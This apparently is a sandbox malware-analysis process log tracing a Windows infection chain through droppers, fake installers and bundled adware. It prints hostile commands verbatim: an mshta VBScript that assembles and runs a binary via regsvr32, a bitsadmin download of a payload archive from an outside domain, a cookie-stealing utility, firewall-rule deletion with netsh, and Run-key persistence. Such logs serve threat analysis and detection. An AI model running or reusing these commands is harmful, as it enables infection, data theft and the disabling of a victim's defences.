C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRIpt: clOSE ( CReatEObjecT ( "WSCRipt.ShElL" ). RUN ( "C:\Windows\system32\cmd.exe /q /C eCHO fx46oC:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Users\Admin\AppData\Local\Microsoft\WindowsApps;g9q> fHUZ28V.I0 & ECho | sET /p = ""MZ"" > PD~PO.Fu & Copy /y /B PD~PO.FU + 7KUTL.Vbk + FDiJ.1V + ShUJ.ChH +fHuZ28V.I0 m9HEkzA.2 & sTArT regsvr32.exe /U -S m9HEkZA.2 " , 0 , TrUE) )5⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "E3F5.exe" -F4⤵
- Kills process with taskkill
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\4158.exeC:\Users\Admin\AppData\Local\Temp\4158.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\42A1.exeC:\Users\Admin\AppData\Local\Temp\42A1.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-R3P30.tmp\42A1.tmp"C:\Users\Admin\AppData\Local\Temp\is-R3P30.tmp\42A1.tmp" /SL5="$402A8,172303,88576,C:\Users\Admin\AppData\Local\Temp\42A1.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N0TI1.tmp\èeèrgegdè_éçè_)))_.exe"C:\Users\Admin\AppData\Local\Temp\is-N0TI1.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=rec73⤵
- Drops file in Drivers directory
- Adds Run key to start application
-
C:\Program Files\Windows NT\TKJVUMTXEA\irecord.exe"C:\Program Files\Windows NT\TKJVUMTXEA\irecord.exe" /VERYSILENT4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-Q6TKD.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q6TKD.tmp\irecord.tmp" /SL5="$B035C,5808768,66560,C:\Program Files\Windows NT\TKJVUMTXEA\irecord.exe" /VERYSILENT5⤵
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\i-record\I-Record.exe"C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\8e-ad8e8-967-95083-3c1a798362d3c\Xegysukinae.exe"C:\Users\Admin\AppData\Local\Temp\8e-ad8e8-967-95083-3c1a798362d3c\Xegysukinae.exe"4⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Temp\a4-40e00-788-ce7b7-7b5b1111cd39c\Lojuqalequ.exe"C:\Users\Admin\AppData\Local\Temp\a4-40e00-788-ce7b7-7b5b1111cd39c\Lojuqalequ.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lb5l3mzl.5wu\GcleanerEU.exe /eufive & exit5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g4zkmxcg.ok2\JoSetp.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\g4zkmxcg.ok2\JoSetp.exeC:\Users\Admin\AppData\Local\Temp\g4zkmxcg.ok2\JoSetp.exe6⤵
-
C:\Users\Admin\AppData\Roaming\7597109.exe"C:\Users\Admin\AppData\Roaming\7597109.exe"7⤵
-
-
C:\Users\Admin\AppData\Roaming\5145379.exe"C:\Users\Admin\AppData\Roaming\5145379.exe"7⤵
- Suspicious behavior: SetClipboardViewer
-
-
C:\Users\Admin\AppData\Roaming\6009216.exe"C:\Users\Admin\AppData\Roaming\6009216.exe"7⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vyzm0bxm.zkd\installer.exe /qn CAMPAIGN="654" & exit5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yqyss2ce.da2\Setup3310.exe /Verysilent /subid=623 & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\yqyss2ce.da2\Setup3310.exeC:\Users\Admin\AppData\Local\Temp\yqyss2ce.da2\Setup3310.exe /Verysilent /subid=6236⤵
-
C:\Users\Admin\AppData\Local\Temp\is-T7PVC.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-T7PVC.tmp\Setup3310.tmp" /SL5="$10474,138429,56832,C:\Users\Admin\AppData\Local\Temp\yqyss2ce.da2\Setup3310.exe" /Verysilent /subid=6237⤵
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-5RQPJ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-5RQPJ.tmp\Setup.exe" /Verysilent8⤵
-
C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-SMTP2.tmp\MediaBurner.tmp"C:\Users\Admin\AppData\Local\Temp\is-SMTP2.tmp\MediaBurner.tmp" /SL5="$3050A,303887,220160,C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QNCOS.tmp\_____________bob.exe"C:\Users\Admin\AppData\Local\Temp\is-QNCOS.tmp\_____________bob.exe" /S /UID=burnerch111⤵
- Drops file in Drivers directory
- Adds Run key to start application
-
C:\Program Files\Windows Security\ZVIOSTQMHV\ultramediaburner.exe"C:\Program Files\Windows Security\ZVIOSTQMHV\ultramediaburner.exe" /VERYSILENT12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-CPU77.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-CPU77.tmp\ultramediaburner.tmp" /SL5="$30584,281924,62464,C:\Program Files\Windows Security\ZVIOSTQMHV\ultramediaburner.exe" /VERYSILENT13⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu14⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\96-cdcd3-65f-70b91-bf69ee21f36d9\Fikumigaena.exe"C:\Users\Admin\AppData\Local\Temp\96-cdcd3-65f-70b91-bf69ee21f36d9\Fikumigaena.exe"12⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Temp\68-8b475-f52-2e1b1-5c4e2571c1280\Qomikaekuqy.exe"C:\Users\Admin\AppData\Local\Temp\68-8b475-f52-2e1b1-5c4e2571c1280\Qomikaekuqy.exe"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\obhd0sxq.uj5\GcleanerEU.exe /eufive & exit13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3isgf5zv.5q2\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0abmzj35.vpe\Setup3310.exe /Verysilent /subid=623 & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\0abmzj35.vpe\Setup3310.exeC:\Users\Admin\AppData\Local\Temp\0abmzj35.vpe\Setup3310.exe /Verysilent /subid=62314⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8USGP.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-8USGP.tmp\Setup3310.tmp" /SL5="$30440,138429,56832,C:\Users\Admin\AppData\Local\Temp\0abmzj35.vpe\Setup3310.exe" /Verysilent /subid=62315⤵
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-74D8F.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-74D8F.tmp\Setup.exe" /Verysilent16⤵
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1455qozo.fxe\google-game.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\1455qozo.fxe\google-game.exeC:\Users\Admin\AppData\Local\Temp\1455qozo.fxe\google-game.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\1455qozo.fxe\google-game.exe"C:\Users\Admin\AppData\Local\Temp\1455qozo.fxe\google-game.exe" -a15⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ajy04tyo.ce0\toolspab1.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\ajy04tyo.ce0\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ajy04tyo.ce0\toolspab1.exe14⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\ajy04tyo.ce0\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ajy04tyo.ce0\toolspab1.exe15⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\14s4xsrx.0yo\SunLabsPlayer.exe /S & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\14s4xsrx.0yo\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\14s4xsrx.0yo\SunLabsPlayer.exe /S14⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
- Checks for any installed AV software in registry
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z15⤵
- Download via BitsAdmin
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pciPvfgZyUkzN4QM -y x C:\zip.7z -o"C:\Program Files\temp_files\"15⤵
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -ppEffkJZ45294Dbr -y x C:\zip.7z -o"C:\Program Files\temp_files\"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx15⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx16⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso7994.tmp\tempfile.ps1"15⤵
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT15⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\khjyxiaa.j3y\GcleanerWW.exe /mixone & exit13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zl0vlbkg.1ph\libravpn_setup.exe subid=685 /verysilent & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\zl0vlbkg.1ph\libravpn_setup.exeC:\Users\Admin\AppData\Local\Temp\zl0vlbkg.1ph\libravpn_setup.exe subid=685 /verysilent14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-HA8LS.tmp\libravpn_setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-HA8LS.tmp\libravpn_setup.tmp" /SL5="$1095C,11382886,1080320,C:\Users\Admin\AppData\Local\Temp\zl0vlbkg.1ph\libravpn_setup.exe" subid=685 /verysilent15⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\LibraVPN\LibraVPN.exe"C:\Program Files (x86)\LibraVPN\LibraVPN.exe"16⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c chcp 65001 > nul & cmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_INTERNET_ALL_OUTBOUND17⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_INTERNET_ALL_OUTBOUND18⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_INTERNET_ALL_OUTBOUND19⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c chcp 65001 > nul & cmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_APP_OUTBOUND17⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_APP_OUTBOUND18⤵
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall delete rule name=OVS_ALLOW_APP_OUTBOUND19⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c chcp 65001 > nul & cmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_RESOLUTION_OUTBOUND17⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_RESOLUTION_OUTBOUND18⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_RESOLUTION_OUTBOUND19⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c chcp 65001 > nul & cmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_INTERNET_OUTBOUND17⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV118⤵
-
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_INTERNET_OUTBOUND18⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_INTERNET_OUTBOUND19⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c chcp 65001 > nul & cmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_LOCAL_OUTBOUND17⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV118⤵
-
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_LOCAL_OUTBOUND18⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall delete rule name=OVS_ALLOW_LOCAL_OUTBOUND19⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c chcp 65001 > nul & cmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_INTERNET_ALL_OUTBOUND17⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c netsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_INTERNET_ALL_OUTBOUND18⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall delete rule name=OVS_ALLOW_VPN_INTERNET_ALL_OUTBOUND19⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c chcp 65001 > nul & cmd.exe /c netsh advfirewall set allprofiles firewallpolicy BlockInbound,AllowOutbound17⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c netsh advfirewall set allprofiles firewallpolicy BlockInbound,AllowOutbound18⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles firewallpolicy BlockInbound,AllowOutbound19⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c chcp 65001 > nul & cmd.exe /c ipconfig /flushdns17⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c ipconfig /flushdns18⤵
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /flushdns19⤵
- Gathers network information
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c taskkill /f /im wireguard.exe17⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wireguard.exe18⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c chcp 65001 > nul & cmd.exe /c netsh wlan show interfaces > openvpn\dat\tmp_check_WiFi.dat17⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6796 -s 169217⤵
- Program crash
-
-
-
-
-
-
-
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\app.exe"C:\Program Files (x86)\Data Finder\Versium Research\app.exe"9⤵
-
C:\Program Files (x86)\Data Finder\Versium Research\app.exe"C:\Program Files (x86)\Data Finder\Versium Research\app.exe"10⤵
- Modifies data under HKEY_USERS
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe"C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe"9⤵
-
C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe"C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe" -a10⤵
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QV5OL.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-QV5OL.tmp\LabPicV3.tmp" /SL5="$30566,506127,422400,C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-76I3R.tmp\12(((((.exe"C:\Users\Admin\AppData\Local\Temp\is-76I3R.tmp\12(((((.exe" /S /UID=lab21411⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Common Files\KLOTBEAUID\prolab.exe"C:\Program Files\Common Files\KLOTBEAUID\prolab.exe" /VERYSILENT12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QL72N.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-QL72N.tmp\prolab.tmp" /SL5="$505A4,575243,216576,C:\Program Files\Common Files\KLOTBEAUID\prolab.exe" /VERYSILENT13⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\79-01612-9df-7a4a7-34210b1edded5\Tuvuduloxa.exe"C:\Users\Admin\AppData\Local\Temp\79-01612-9df-7a4a7-34210b1edded5\Tuvuduloxa.exe"12⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Temp\ff-9508d-e66-22aa0-f5366762714c6\Hyxixanicy.exe"C:\Users\Admin\AppData\Local\Temp\ff-9508d-e66-22aa0-f5366762714c6\Hyxixanicy.exe"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cwmf3g4l.ika\GcleanerEU.exe /eufive & exit13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4undjfq4.0xu\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\j5kvrutv.4k2\Setup3310.exe /Verysilent /subid=623 & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\j5kvrutv.4k2\Setup3310.exeC:\Users\Admin\AppData\Local\Temp\j5kvrutv.4k2\Setup3310.exe /Verysilent /subid=62314⤵
-
C:\Users\Admin\AppData\Local\Temp\is-POKCV.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-POKCV.tmp\Setup3310.tmp" /SL5="$20452,138429,56832,C:\Users\Admin\AppData\Local\Temp\j5kvrutv.4k2\Setup3310.exe" /Verysilent /subid=62315⤵
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-J6D3D.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-J6D3D.tmp\Setup.exe" /Verysilent16⤵
- Drops file in Program Files directory
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5ixtjyth.sxj\google-game.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\5ixtjyth.sxj\google-game.exeC:\Users\Admin\AppData\Local\Temp\5ixtjyth.sxj\google-game.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\5ixtjyth.sxj\google-game.exe"C:\Users\Admin\AppData\Local\Temp\5ixtjyth.sxj\google-game.exe" -a15⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qnnps1qk.1l3\toolspab1.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\qnnps1qk.1l3\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\qnnps1qk.1l3\toolspab1.exe14⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\qnnps1qk.1l3\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\qnnps1qk.1l3\toolspab1.exe15⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kybtrrnp.kvo\SunLabsPlayer.exe /S & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\kybtrrnp.kvo\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\kybtrrnp.kvo\SunLabsPlayer.exe /S14⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
- Checks for any installed AV software in registry
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z15⤵
- Download via BitsAdmin
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pciPvfgZyUkzN4QM -y x C:\zip.7z -o"C:\Program Files\temp_files\"15⤵
- Drops file in Program Files directory
-
-
